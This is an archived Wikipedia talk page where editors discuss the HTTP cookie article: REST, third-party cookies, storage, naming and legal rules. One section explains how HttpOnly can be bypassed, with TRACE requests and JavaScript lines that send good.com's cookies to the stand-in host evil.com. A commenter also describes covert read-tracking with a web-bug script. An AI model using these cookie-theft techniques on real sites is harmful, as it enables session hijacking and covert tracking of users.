Talk:HTTP cookie/Archive 2

Contradicting REST?

This section below implies REST requires reversible state, and that the "back button" should reverse resource state. Does anybody have a citation that supports these claims? A better example is a multi-step form. If they are on step 5 and press the "back button" they should be able to return to step 4. However, these doesn't necessarily reverse form state. The form might still have fields in step 5 that persist with user data. This doesn't violate REST and reduces the amount of data a user needs to re-enter.

"As an example, if the shopping cart of an online shop is realized using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This inconsistency contradicts the principles of Representational State Transfer (REST), and can lead to unreliability, confusion and bugs." —Preceding unsigned comment added by 128.48.204.175 (talk • contribs) 16:28, 11 July 2007

Indeed, a citation would be in order. If not provided, I'd remove that statement. Tizio 11:48, 12 July 2007 (UTC)

The article cited in the section Drawbacks of cookies doesn't support the the statement that "[cookies] are at odds with REST". The statement should be removed, or reworded to clarify. From the cited article:

Cookies are a sure sign that something is not RESTful. Right? No; not necessarily. ... If a cookie is used to store some information, such as an authentication token, that the server can validate without reliance on session state, cookies are perfectly RESTful...

I added a citation to Fielding's thesis on REST, with more detail on the cookie issue, and changed the text to "cookies are often at odds..." ★NealMcB★ (talk) 23:01, 14 October 2010 (UTC)

Small correction

Ok first time i edit a page and add a comment but there was a mistake in the "Implementation section" where it was written that the server first send "Set-Cookie: name=value\nContent-type: text/html\n\n", the fact is, and we clearly see it on "example of an HTTP response from google.com, which sets a cookie with attributes" that the server first send the "Content-type: ..." and after the "Set-cookie : ..." line.

Removed from article

I removed this:

Another drawback of query strings has to do with the way the Web was designed. URLs should point to resources and be "opaque". See Representational_State_Transfer. If you have a URL that includes a query string, it is not the actual location of the resource.

This seems to imply that query strings are not to be used altogether, not that they cannot be used in place of cookies. Is this correct? Please clarify and/or provide citations. Tizio 16:04, 17 November 2006 (UTC)

HttpOnly

Found this list of browser supporting this feature http://greebo.net/?p=364 as of August 2006. It's not a good idea to specify this in the article yet, since it appears that this list would change over time. Tizio 17:01, 17 November 2006 (UTC)

Break out "alternatives" section into another article?

I'm wondering if the "Alternatives" section should be broken out into another article, possibly combining it with parts of web bugs, internet privacy, e-mail tracking, website tracking, etc. While cookies are still very common, they really have become just one of many tracking techniques which all have very similar privacy problems. Wrs1864 21:51, 19 December 2006 (UTC)

Website tracking seems unrelated, as far as I can see. But I see your point. Just do not restrict to tracking, since actually what is done is to create state information that is maintained across different HTTP exchanges. Any idea as for the name that article should have? Tizio 14:46, 20 December 2006 (UTC)

Still better, you may start creating that other article (possibly taking material from this and the other articles you mentioned); we will then see how to summarize the "alternatives" section in this article. Tizio 15:08, 20 December 2006 (UTC)

Inadequate example?

The following is given as a practical example of "persistent cookies": "If the cookie setter does not specify a date, the cookie is removed once the user quits his or her browser. As a result, specifying a date is a way for making a cookie survive across sessions. For this reason, cookies with an expiration date are called persistent. As an example application, a shopping site can use persistent cookies to store the items users have placed in their basket. This way, if users quit their browser without making a purchase and return later, they don't have to find the products they previously placed in the shopping cart over again." Am I missing something, or does this example apply to non-persistent cookies too, and thus makes a poor choice for distinguishing between the two? —The preceding unsigned comment was added by 190.48.104.61 (talk) 14:08, 25 January 2007 (UTC).

A non-persistent cookie is one with no expiration date specified, so they expire when the session ends (user quits the browser). Since this part is at the beginning of the article, I added a sentence to say what happens if non-persistent cookies were used in this context. Tizio 14:39, 25 January 2007 (UTC)

Thank you Tizio, but now take a look at the last two sentences of that paragraph. The first one says that you *don't* want to find your items in the basked when you get back. The one you added says that you do want, and that's precisely what persistent cookies are for. The problem seems to be with the first line, or maybe I'm really dense today. --190.48.104.61 17:21, 25 January 2007 (UTC)

Now I get what the problem is. I wasn't the original author of that sentence, but my take has always been that "they don't have to find the products they previously placed in the shopping cart over again" means "they do not have to look around again to fill the shopping cart with the same items". You made me realize that this sentence is also compatible with the opposite interpretation! Tizio 17:55, 25 January 2007 (UTC)

Aahhh that makes sense! It's perfect now :-) --190.48.104.61 21:33, 25 January 2007 (UTC)

Todo

Something to be added to the article, when completed [1]. Tizio 12:30, 27 December 2006 (UTC)

TRACE

A way to circumvent the HttpOnly restriction is to exploit TRACE requests. When an HTTP server receives such a request, it echoes the HTTP header parameters back as a document. As an example, if a server receives the following request:

TRACE / HTTP/1.1
Host: www.example.com
Cookie: thisisacookie    

It may answer with something like the following header and document:

HTTP/1.1 200 OK
Date: Wed, 27 Dec 2006 12:17:20 GMT
Server: Ciccio/2.0.49 (CiccioLinux)
Transfer-Encoding: chunked
Content-Type: message/http

46
TRACE / HTTP/1.1
Host: www.example.com
Cookie: thisisacookie


0

The resulting document contains the header of the request it has received, including the cookies.

A JavaScript program can exploit this fact by sending a TRACE request to a server that serves TRACE requests. When it does it, the browser includes the cookies in the request as usual. While the script does not have access to these cookies directly, it can read them in the resulting document. This attack does not require the script to be present on the same server whose cookies has to be stolen. It however requires this server to support HTTP trace requests [2].

Proxying/Virtual domain

A different kind of cross-side scripting relies on the fact that some servers provide documents that are actually located on sites that are different than the requested one. This happens for proxies and when mutiple sites are hosted on the same server. These attacks do not require the script to be located on either the attacker or the attacked sites.

For the proxy-based attack, a script can pretend to connect to site good.com while the proxy actually send it to evil.com:

XmlHttp.open("GET\thttp://evil.com","http://good.com",false);

This instruction contains a request to the site good.com, including the cookies for good.com. However, the proxy server receives GET\thttp://evil.com, which causes it to sent the whole request, including the cookies, to evil.com.

A similar method employing XmlHttp requires the attacked and attacker sites to be hosted on the same server (virtual hosting). When a script executes the following:

XmlHttp.open("GET","http://good.com",false);
XmlHttp.setRequestHeader("Host","evil.com");

a request for good.com is created. This request includes the header line Host: evil.com. When the server receives this request, it routes it to evil.com, which then receives the cookies intended for good.com. [3]

Request smuggling

Request smuggling exploit different behavior on a proxy and a server when receiving a request with two Content-length lines, in particular if the proxy uses one line and the server the other one. In this attack, the browser sends what the browser and proxy believes to be a single request, but the server interprets as two ones. What the browser receives is the concatenation of the results of these two requests from the server:

 Header-1
 Body-1
 Header-2
 Body-2

The browser considers Header-1 as the header and Body-1/Header-2/Body-2 the. As a result, every cookie Header-2 may contain is now in the document, so JavaScript can access it even if HttpOnly was used. [4]

Not always sent by server first

I think this is a very good article, but the first sentence: "HTTP cookies ... are parcels of text sent by a server to a web browser and then sent back unchanged by the browser each time it accesses that server." is slightly misleading: it implies that cookies can only be created on the server and the first cookie movement is always server to client.139.133.7.37 18:27, 30 March 2007 (UTC)

You are indeed right: nothing prevents a piece of, say, js code to create a cookie on the client side. However, I think the server sending the cookie first is by far the most common scenario. Even when the cookie is in a piece of javascript code or similar, it's usually still the server that sends it (even if embedded in the code). The exception you are probably referring is when the js actually calculates (in some way, even randomly) the value of the cookie to send.

Given that, I would rather left the lead as is, or with a minimal change (such as, "cookies are parcels of data exchanged by a web server and browser; they are generally sent by the server to the browser, and handed back by the browser in the following exchanges". Tizio 20:17, 30 March 2007 (UTC)

Still don't understand 3rd party cookies

Having read this article, how does a 3rd party cookie get set by a server when a banner ad is requested: after all this is just a request for an image: no script is being executed on the 3rd party server. 139.133.7.37 18:27, 30 March 2007 (UTC)

The server can execute whatever code it wants when receiving whatever request, including the request of an image. What in the article leads to thinking otherwise? I'm asking so that we could maybe correct the misleading part. Tizio 20:41, 30 March 2007 (UTC)

well as the article says: "The Set-Cookie line is typically not created by the HTTP server itself but by a CGI program." so does the request for the image trigger a CGI program which inserts a cookie into the response headers accompanying the image? I think I'm just confused about the mechanics.139.133.7.37 18:33, 31 March 2007 (UTC)

Just because a URL ends in .gif or .png etc., the server can still invoke another program to serve it (rather than looking for a file). Tizio 08:54, 2 April 2007 (UTC)

So would the cookie typically be sent back in the response headers accompanying the banner image?139.133.7.37 11:04, 6 April 2007 (UTC)

Yes. Tizio 11:29, 6 April 2007 (UTC)

Okay, it's like this: The server receives a request for '/notreallyimages/beacon.gif'. The server has been configured to treat anything in /notreallyimages as a script *regardless of extension* (remember, extensions only really make any difference to Windows, grown-up operating systems have other mechanisms for determining file type). As a result, in the /notreallyimages/ directory there is a perl CGI script that says something like:

use CGI();
my $cgi = new CGI;
my $cookie = $CGI::Cookie->new(-name => 'visitor',
                               -value => $unique_id,
                               -expires => '+20y',
                               -path => '/',
                               -domain => ".$dom");
print $cgi->header(-cookie => $cookie, -type => 'image/gif');
open GIF "/webimages/trans.gif";
print <GIF>;
close GIF;
exit;

Of course, it's really easy, if someone wanted to, to do crap like include a query string, or make a mod_perl handler that deals with ANY request to /notreallyimages/ to run a specific set of code, for instance. That's how spammers sneak crap into emails to validate them (and why not looking at emails that you don't trust is a good idea, or at least not loading images). They can set a cookie, mark your address valid... doesn't even have to be in an obvious way. Perhaps any request to /images/ runs a script that takes the requested image name and maps it to an email address (at which point the name of the image is usually some sort of checksum for the email address itself, plus an extension to make all browsers happier). Luckily, email clients are getting smarter to this sort of rubbish and it's getting harder and harder for the scammerspammers to get anything. But yeah, I've used the same exact technique for another reason -- to determine if someone in a forum on a server that wasn't mine had read a message I'd sent (even works with BBCode at that point) -- and even then to make my website behave differently based on whether thay had or not (like I could send an invitation for a download of something I'd normally sell and not even have to set up login info for them, stuff like that).208.54.15.44 (talk) 02:48, 3 March 2008 (UTC)

window.name is cross browser !

According to the article, window.name doesn't work in Firefox. To my knowledge, it is not true. I use this trick every day, and every browser I've tried are quite happy with it. So window.name is cross-domain AND cross-browser. —The preceding unsigned comment was added by 81.57.178.244 (talk) 09:19, 31 March 2007 (UTC).

Maybe older versions of mozilla/firefox don't support this persistence method. Also, the new reference mention safari, firefox, and ie, which suggests that it doesn't work on every possible browser. Tizio 10:21, 31 March 2007 (UTC)

Odd Comment

Under the Purpose heading in the article there is a comment 'Alex savage likes to eat lot of cookies.' I don't believe it belongs here, but will let someone else make the modification to the article. Robert Peaslee 14:39, 25 April 2007 (UTC)

References Out of Context

In the Realization section, there are two references that should not be included. "Cookie specifications[3][4] suggest that browsers should support a minimal number of cookies or amount of memory for storing them." "Cookie names are case insensitive according to section 3.1 of RFC 2965"

Those quotes were used in the context of this list of web browsers:

   * Firefox 1.5: 50
   * Firefox 2.0: 50
   * Safari 3 public beta
   * Opera 9: 30
   * Internet Explorer 6: 20
   * Internet Explorer 7: 20

This is very misleading because cookies, as defined in [4] RFC 2109 and RFC 2965, are not supported by Firefox or Internet Explorer. Those two browsers only support the obsolete description in [3] Preliminary spec. Miqrogroove 08:05, 24 July 2007 (UTC)

Subjective Phrase in Cookie Poisoning

Under the heading Cookie Poisoning there is this misleading statement, "... all the other information is stored on the server. In this case, the problem of cookie poisoning is largely eliminated." I would say that is not true. Moving information to the server side without additional checks on the cookie value leads to a security flaw called session fixation. As such, cookie poisoning is not at all eliminated. Miqrogroove 08:13, 24 July 2007 (UTC)

Auth Schemes Confused

This paragraph is incorrect:

"As for authentication, the HTTP protocol includes mechanisms, such as the digest access authentication, that allow access to a Web page only when the user has provided the correct username and password. ... In the background, the username and password combination is sent to the server in every browser request. This means that someone listening in on this traffic, can simply read this information and store for later use."

The Digest scheme of HTTP Authentication does not send passwords to the server. Under RFC 2617, Digest responses 'stored for later use' are not valid. "The purpose of this directive is to allow the server to detect request replays... If a directive or its value is improper, or required directives are missing, the proper response is 400 Bad Request." Miqrogroove 08:25, 24 July 2007 (UTC)

Yes, that part ("in the background...") indeed applies to the basic authentication protocol. Tizio 13:02, 24 July 2007 (UTC)

Number of Cookies Supported is not Listed for Safari 3

Even though some commentators have issues with the whole section, the number of cookies supported for Safari 3 is missing:

   * Firefox 1.5: 50
   * Firefox 2.0: 50
   * Safari 3 public beta
   * Opera 9: 30
   * Internet Explorer 6: 20
   * Internet Explorer 7: 20  —Preceding unsigned comment added by Kolenskim (talk • contribs) 20:56, 5 September 2007 (UTC) 

0.9 Mosiac Netscape Release Date

A previous version of the article mentions a Sept. 1994 release date for the 0.9 beta (I think it referenced Kristol's article at footnote 2), which has now been replaced in the article with an Oct. 13, 1994 release date backed by footnotes 18 and 19. I've been told there was an earlier release of the 0.9 beta in the Sept. 94 timeframe, like a limited release to an outside company for testing. Anyone have a footnote worthy article or any other info to back this up?

Patjz1 23:53, 11 October 2007 (UTC)

Security Concerns

After reading this article, I was disappointed that despite being a featured article, it does not touch on any of the recent highly-publicized security and privacy concerns around the use of cookies. I've had a go at rectifying this - please help to expand. Socrates2008 12:02, 7 November 2007 (UTC)

Alternatives (server side sessions)

In the topic "Alternatives to cookies", it is not cited the Java Servlet's "server side sessions".

Replace all images of cookies with text

Turn loading images off on your browser when reading this article and you will see how frustrating it certainly is for some users who can't see images.

Cookies are text items. Just include them in-line, indented with a space! Jidanni (talk) 12:13, 14 February 2008 (UTC)

The only cookie I can see is placed as an image is Image:HTTP-Cookie-Google.png, and it's there mostly for breaking the flow of text (it was used at the beginning of the article because that was required to articles that have to be shown in the main page). The other images contains more than just a cookie. Tizio 12:31, 14 February 2008 (UTC)

Why is expires so stupid?

Does anyone know why they decided on a format like:

Sun, 27-Feb-2028 01:57:10 GMT

for the expiry of a cookie? Why is it neceesary to have to calculate the day of week in English to make a cookie's expiry valid? What moron came up with this idea?

Seriously, wouldn't:

20280227015710

make more sense? Why should it matter to a web browser whether the 13th of December, 1998 is a Saturday, in English?208.54.15.44 (talk) 02:56, 3 March 2008 (UTC)

The format of the date in the original cookie standard conforms to RFC 1123 date format and is used in the same way in other locations within the HTTP 1.0 spec which pre-dated cookies, such as the Date: and Expires: header. Note that subsequent cookie standards define an alternative way to specify date, as a "max-age" in seconds rather than a date. mmj (talk) 04:10, 18 November 2008 (UTC)

The name "cookie"

How did the name "cookie" come about? This should be in the article. Also, some history as to how the concept came to be. Bytebear (talk) 23:55, 24 March 2008 (UTC)

I left the following comment in the corresponding article on Magic cookie.

It may be derived from the concept of "Cookie In The Cookie Jar" - You fill a cookie jar with various cookies, and as needed, cookies are taken out to be eaten. Certain people will eat certain cookies, as certain websites will use certain cookies. Cookie snacks eventually expire, as they go stale; just as website cookies eventually expire, as they have no more meaning or use. Someone may save a cookie in the cookie jar (or temporary internet files) to come back to it later. Websites save their cookies to come back to it later, when needed. - DJJD - 74.143.120.114 (talk) 01:37, 22 September 2009 (UTC)

It comes from the term Magic cookie...which really just pushes the question back to where did the use of the word "cookie" in "magic cookie" come from. There is some discussion of it here, though I don't think there is a definitive conclusion.--Ericjs (talk) 20:47, 7 October 2010 (UTC)

Actually, there is...there was a gag program that people were passing around...I think it precedes timesharing, but at any rate, you'd sit down at your computer terminal and be confronted with the text, "GIVE ME A COOKIE". Nothing you could do would fix it -- it neatly trapped all interrupt characters -- the only way out, short of rebooting, was to type in the word "COOKIE". AH, here's a good discussion of it. --jpgordon^{::==( o )} 05:14, 29 April 2011 (UTC)

dead link

http://wp.netscape.com/newsref/std/cookie_spec.html (third ref) is a dead link. --Caerbannog (talk) 10:40, 3 August 2008 (UTC)

How about http://web.archive.org/web/20060318102926/wp.netscape.com/newsref/std/cookie_spec.html from Wayback? 194.202.251.35 (talk) 15:27, 4 August 2008 (UTC)

Structured client-side storage

What about Structured client-side storage that has been in Firefox since version 2?--92.229.218.177 (talk) 11:03, 6 August 2008 (UTC)

References need improving

There are many sections of this article that are uncited. Two of the links are dead. Also, there are external links within the body of the article which are not allowed by WP:MOS and WP:EL. Please fix article so it can remain a FA. Regards, —Mattisse (Talk) 00:15, 28 October 2008 (UTC)

Basket section and security

I removed (well, modified) the following section under 'Basket', referring to storing shopping cart contents in a cookie:

This is a very insecure mechanism, because a malicious user can alter the cookie; a much more secure mechanism is to generate a random cookie as under "tracking", and using that as a lookup key in a database stored on the server.

While tampering with cookies by the user is an issue that can cause problems in some applications, this is not one of them. A user tampering with such a cookie would at most be able to add or remove items from their cart. It is not insecure in that the user cannot modify other people's carts or cheat the system in any way. A server would need to validate the cookie to verify that the cookie refers to actual products that are available, but that sort of thing falls under validation of input and is not specifically related to cookies. A server that does not validate its input has security problems in its own right and this is outside the scope of this article. mmj (talk) 01:53, 10 November 2008 (UTC)

how can i stop cookies?

i am afraid

---

please respond

---

Mike881270 (talk) 21:29, 13 November 2008 (UTC)

Turn your computer off, or assimilate. Not much else to be done about them. —Preceding unsigned comment added by 75.17.203.11 (talk) 19:17, 14 February 2009 (UTC)

over nine thousand —Preceding unsigned comment added by 211.30.21.249 (talk) 01:04, 11 April 2009 (UTC)

what's the nine thousand? and mike, well, i did gather from this article Opera lets you block 3rd party cookies, balanced by how is this browser about the other vulnerabilities tho? article omits if any? discussion of using anti-"malware" (nuetral term nowadays?) countermeasures, like internet security software bundles (suites) unless i missed it. Appropriate to the scope of this article? not sure, but since trend is trackers, at least, using alternatives to cookie methods, persistently updating various security measures, your os (s), your security software, and your browser updates is frequently advised. Which one tho? finding out who has users, consumer interests starting with searching on at minimum, consumer reports. I put this in Talk since it's a POV, so's yours. the article helpfully points up in cases, the method you connect as pertinent . On safari 4, and other browsers also in Preferences you can block cookies except for sites you "visit" --but it still seems its possible to be hijacked to a site--correct me, experts, even by inadvertently passing your cursor over some pixels, not even clicking, let alone double clicking? one can shop and bank offline or on trusted by many sites;; depending on how, could be saferFairlylowtekk (talk) 18:06, 17 June 2009 (UTC)

Article moved to Cookie (browser)

I have boldly moved this article to "Cookie (browser)". My rationale to do so is as follows. WP:COMMONNAME suggests that we use the most common English name for a topic as the article's title. Based on a review of reliable sources, the most common name for this type of cookie is "cookie", after making it clear that we are referring to a computing topic, and not edible cookies. After "cookie", there are other terms such as "browser cookie", "computer cookie", tracking cookie", and "web cookie" that are used to avoid confusion with the type of food.

A quick Google search shows the following: (Of course this is by no means a reliable source or conclusive evidence, but does provide some reasonable information that we can use for further research.)

Number of results for different search terms.

"browser cookie"	240k	"browser cookies"	926k
"computer cookie"	54k	"computer cookies"	584k
"tracking cookie"	200k	"tracking cookies"	267k
"web cookie"		23k	"web cookies"		156k
"internet cookie"	49k	"internet cookies"	189k
"http cookie"		139k	"http cookies"		139k
"web browser cookie"	20k	"web browser cookies"	31k

Now getting on to reliable sources, we can see from this New York Times site search that they use the term "cookie" to refer to this subject, as does the Washington Post, LA Times, Business Week, PC World, BBC News etc. So, "cookie" is the most common term for this topic. I've added " (browser)" at the end to disambiguate with Cookie, per WP:NCDAB. According to that last guideline I cited (WP:NCDAB), Browser cookie would also be an acceptable name for the article as another name for the item that is equally clear and unambiguous. — LinguistAtLarge • Talk  17:34, 1 May 2009 (UTC)

Ambiguity of the term "cookie"

It seems to me that the term "cookie" has a couple of common overlapping senses.

• An entire string as in the HTTP headers seen by server.
• An incomplete string as seen via scripting languages such as JavaScript's document.cookie which has information such as expiry removed.
• Individual name-value pairs

It seems that these name-value pairs are sometimes what is referred to by "cookie" whereas other times more specific terms are coined partly avoid ambiguity with either flavour of entire string. Such terms include at least "cookiecrumb" and "subcookie".

This ambiguity should be addressed in the article by somebody who fully understands the situation.

Also can there be multiple Cookie: or Set-Cookie: fields per HTTP header? If so does each field refer to a cookie or a name value pair?

For people that always use the term "cookie" to refer to a single name-value pair, is there a commonly used unambiguous term to refer to the entire string as seen by the server or JavaScript/DOM document.cookie? — Hippietrail (talk) 02:50, 19 June 2009 (UTC)

Name in Britain

What is an HTTP cookie called in Britain?? Doctorfluffy (wanna get fluffed?) 16:16, 26 June 2009 (UTC)

As a lifelong resident of Great Britain, I almost exclusively hear it just called a cookie. To be honest I wonder whether "HTTP cookie" is the best name for this article, even though it may be technically correct. Maybe something like "Cookie (computing)" would be better, as they may be most commonly known just as cookies. leevclarke (talk) 15:22, 29 October 2009 (UTC)

@Leevclarke, that's exactly what I was just about to suggest. I live in Britain too, adn I only ever hear them called cookies. Dyed Purple (Boo! Happy Halloween! Talk to me here...) 15:05, 31 October 2009 (UTC)

In Australia, where the food called cookie in America is here callled biscuit, HTML cookies are called cookies. — Hippietrail (talk) 00:56, 22 December 2009 (UTC)

In England, we call them cookies, which avoids confusion with anything edible of British origin. 82.163.24.100 (talk) 18:25, 3 January 2010 (UTC)

It is not supposed to be 'cookies'. It is cuckoo's. As in cuckoo's egg. It is a foreign piece of code, not used by your computer but used by others. Like the cuckoo's egg. Foreign in the nest. — Preceding unsigned comment added by 202.8.39.83 (talk) 02:42, 24 July 2013 (UTC)

XMLHTTPRequest

At the end of "Cookie theft", "XMLHTTPRequest" should presumably be "XML HTTP request", since "XMLHTTPRequest" is not a normal English word or well-known acronym, and is neither in a code element nor correspondingly cased. 82.163.24.100 (talk) 18:30, 3 January 2010 (UTC)

I'm pretty sure this is a reference to XMLHTTPRequest so I have now linked to it. Barrylb (talk) 02:29, 4 January 2010 (UTC)

Third-Party Cookies

I just edited the information about 3rd party cookies, the previous explanation was not very good. I was made aware of this section because someone asked me to explain third-party cookies to them and I told them to read the wikipedia article. They came back to me, told me they read it, and were still confused. :) I've been in this industry since 1996 so I thought I'd provide a better explanation.

To explain some of my specific edits:

• The fact about IE6 and leashing is not appropriate in this article. There are dozens of notable quirks about the way each different browser handles 3rd party cookies, but quirks like these are beyond the scope of this article.
• Browsers include 3rd party cookies, and they have them enabled by default, for good reason! The layman should understand both the good and the bad of what enabling 3rd party cookies makes possible. The previous version of this section focused only on the bad. —Preceding unsigned comment added by Krschacht (talk • contribs) 01:50, 12 January 2010 (UTC)
• I edited this section to improve it's tone to make it more consistent with the rest of the article & wikipedia —Preceding unsigned comment added by Krschacht (talk • contribs) 22:37, 19 January 2010 (UTC)

There were good privacy reasons for both of the RFCs on cookies to require compliant browsers to turn off third-party cookies by default. Your assertion that they "make lots of functionality in the web possible" is unsubstantiated. As Kristol's ACM article clarifies, it is only an advertising business model which is aided by third-party cookies, not web functionality. I've removed that text --NealMcB (talk) 05:27, 22 August 2010 (UTC)

Spoken Wikipedia recording

Hey all, I just updated my Wikipedia Spoken audio recording to reflect changes that were made since April 2009. Please let me know if I've mispronounced anything! :-) --Mangst (talk) 00:04, 25 January 2010 (UTC)

I've updated the Wikipedia Spoken audio recording. Please let me know if there are any mistakes. --Mangst (talk) 22:14, 26 September 2010 (UTC)

Permissions

I remain convinced that managing cookie permissions seems to be the one thing most users would like to do. It is only mentioned in one place in the article. Why is this? Mydogtrouble (talk) 19:03, 8 February 2010 (UTC)

What do you mean by cookie permissions? Universalss (talk) 00:59, 9 February 2010 (UTC)

Keep in mind that this is a "what" article about the HTTP cookie, not a "how" manual on managing their permissions. It keeps to the facts, to let users decide if they wish to manage the permissions their own way. WikiWilliamP (talk) 13:39, 9 February 2010 (UTC)

Debunk: "Cookies are files", "Cookies are stored as plain text", "Cookies are text files"

Erroneous claims about cookies being plain text files keep appearing in this article.

Cookies are NOT text "files". They are text strings, which may be stored by the user agent (browser) in anyway the developer of the software sees fit. The HTTP spec doesn't specify how or where user agents should store such strings. A browser may store session cookies in volatile memory (RAM) only, while storing persistent cookies in non-volatile memory (via a filesystem). Different browsers store cookie strings in different ways - most store persistent cookies in a single database file within the user's browser profile. For example, Firefox stores a user's cookies in an SQLite database file called cookies.sqlite under the user's profile directory.

Please avoid adding device/browser-specific details and low-level particulars of storage to the introduction of this article. And discuss here before referring to cookies as "plain text" or "text files". - MrKris (talk) 22:31, 26 April 2010 (UTC)

Debunk: "Cookies are stored on a user's computer hard drive"

Erroneous claims about cookies being stored on the user's computer hard drive keep appearing in this article.

Cookies are NOT necessarily stored locally on the physical computer with which the user is interacting. Nor are cookies necessarily stored in non-volatile memory at all. A user agent (browser) may store session cookies in volatile memory (RAM) only, while storing persistent cookies in non-volatile memory (via a filesystem). A browser will generally store persistent cookies within the user's profile, which might be on the local computer/mobile device or on a network server.

Please avoid adding device-specific details and low-level particulars of storage to the introduction of this article. And discuss here before stating that cookies are stored on a "user's hard drive". - MrKris (talk) 22:31, 26 April 2010 (UTC)

DART cookie

why no mention of Google DART cookie? —Preceding unsigned comment added by 79.75.57.149 (talk) 08:47, 9 July 2010 (UTC)

I think it is because the DART cookie is merely a branded implementation of a cookie. All the concepts used by DART are incoproated in the article. DoubleClick FAQs WikiWilliamP (talk) 13:05, 9 July 2010 (UTC)

Where are they?

I try to find the cookies in my computer, but I can't find them. Where are they? --Περίεργος (talk) 14:15, 6 September 2010 (UTC)

Each browser stores their cookies in a different place, so it depends on what browser you are using. If you are using Firefox, you can view your cookies by doing the following: open the Preferences window, navigate to the "Privacy" tab, then click on the "remove individual cookies" link. Firefox stores the cookies in a database located in your profile folder (see http://support.mozilla.com/en-US/kb/Profiles). --Mangst (talk) 13:56, 27 September 2010 (UTC)

secure cookies & MITM

The section on securie cookies has, I believe, a substantial error. It says secure cookies protect against a MITM attack. However, cookies don't require an active attack, like MITM. They can be passively captured with a wire sniffer. It has little to do with MITM. Lawnjot (talk) 20:41, 8 February 2011 (UTC)

I believe "Secure" cookies (as per the Secure attribute) are safer against MITM attacks because they are constrained to HTTPS transmission. Thus they are not transferred in the clear, thus they are not subject to simple sniffing. —Raymond Keller (talk) 18:20, 21 August 2011 (UTC)

European Law

Is it worth including a section on the European Law surrounding cookies?

Reference: http://www.bbc.co.uk/news/technology-12668552

Alex Chamberlain (talk) 11:55, 8 March 2011 (UTC)

Yes, absolutely. And the other legal issues e.g. Super cookies, etc. need clarification and references. History2007 (talk) 04:41, 19 August 2011 (UTC)

This section:

In May 2011 a European Union law was passed stating that websites that leave non-essential cookies on visitors’ devices have to alert the visitor and get acceptance from them. This law applies to both individuals and businesses based in the EU regardless of the nationality of their website’s visitors or the location of their web host. It is not enough to simply update a website’s terms and conditions or privacy policy. The deadline to comply with the new EU cookie law was 26th May 2012 and failure to do so could mean a fine of up to £500,000.

is wrong in my opinion. The law it talks about is probably the Privacy and Electronic Communications (EC Directive) (Amendment) Regulations 2011 No. 1208, a UK regulation which is based on the EU directive (not regulation) 2009/136/EC. Furthermore the reference it links to looks very much like an ad to me and is also purely focussed on the UK.

Further information is available in the Wiki of the Open Rights Group. --DerBadener (talk) 20:55, 20 September 2012 (UTC)

Super Cookies

I do not believe that definition of Super Cookies is correct. The reference does not mention the term "super cookie", and the news articles that do refer to Adobe Flash-based locally stored objects (technically, not HTTP cookies). WikiWilliamP (talk) 13:10, 14 September 2011 (UTC)

There have been various/inconsistent ways of using this term. However, the 'super cookie' usages to refer to Adobe flash cookies are all from "news articles" (like 'super man', 'super cookie', those journalists), not from a single technical document. Adobe never uses this terminology for their flash cookie or LSO. I would think the reference of 'supercookies' at Mozilla site (cited in the article) is most appropriate. If most of you are not comfortable with this definition, remove that section, I wouldn't put it back. But we would miss a definition for cookies set on public suffixes. Pleasancoder (talk) 03:06, 21 September 2011 (UTC)

As long as the focus of the article is still on HTTP Cookies, and it makes it clear to the reader that the term "supercookie" to refer to LSOs is incorrect. WikiWilliamP (talk) 13:43, 28 September 2011 (UTC)

Misleading first paragrpah?

I was wondering if the wording in the first paragraph which mention "can be retrieved by the website" is actually misleading. Can suggest optionality and retrieved suggests an information pull by the webserver. Should this be changed to "is sent back to the website"? - MM — Preceding unsigned comment added by 129.12.180.21 (talk) 18:23, 1 June 2012 (UTC)

session cookies - some browsers will not delete them

Web browsers normally delete session cookies when the user exits the browser. So it is automatically removed when user close the web browser.

Some popular modern browsers (chrome, firefox) by default will not delete session cookie. This is explained e.g. here: chrome issue 128513: Wontfix (Comments 21, 28), and here: Firefox (Firefox feature "Session Restore"). Should we update this paragraph? `a5b (talk) 19:59, 25 September 2012 (UTC)

Interesting, from the definition of most recent RFC 6265, session cookie "expires at the end of the current session (as defined by the user agent)", so there are some grey areas, newer versions of browsers are taking advantage of it, especially Chrome allows you to configure the session definition in user agent, as an option of "Continue where I left off". Pleasancoder (talk) 20:32, 7 October 2012 (UTC)

Inconsistent support by devices - mobile cookies

This section seems outdated to me. All new smartphones support cookies now (with some different privacy policies). Citing Nokia and Motorola numbers is just misleading, especially because most traffic comes from an Android or iOS device now. — Preceding unsigned comment added by 209.253.226.1 (talk) 02:52, 6 December 2012 (UTC)

Size & quantity limitations

The article seems to miss any reference at all to limitations in quantity and size of cookies - e.g How Many Cookies Can You Use on One Website?, How Big Can a Web Cookie Be?, Browser cookie restrictions

I could try to add something, but I was really trying to learn when I got here... (yep, I run into what seems like a "too large cookie" problem) - Nabla (talk) 03:19, 15 February 2013 (UTC)

Privacy and third-party cookies

The "Privacy and third-party cookies" section says the following:

The standards for cookies, RFC 2109 and RFC 2965, specify that browsers should protect user privacy and not allow third-party cookies by default.

But, using my find function, I can't see any mention of such a policy. What's more, both those RFCs are obsoleted by RFC 6265, which allows the browser to implement whatever third-party cookie policy it wishes: 7. Privacy Considerations — Preceding unsigned comment added by 81.137.34.33 (talk) 22:55, 23 February 2013 (UTC)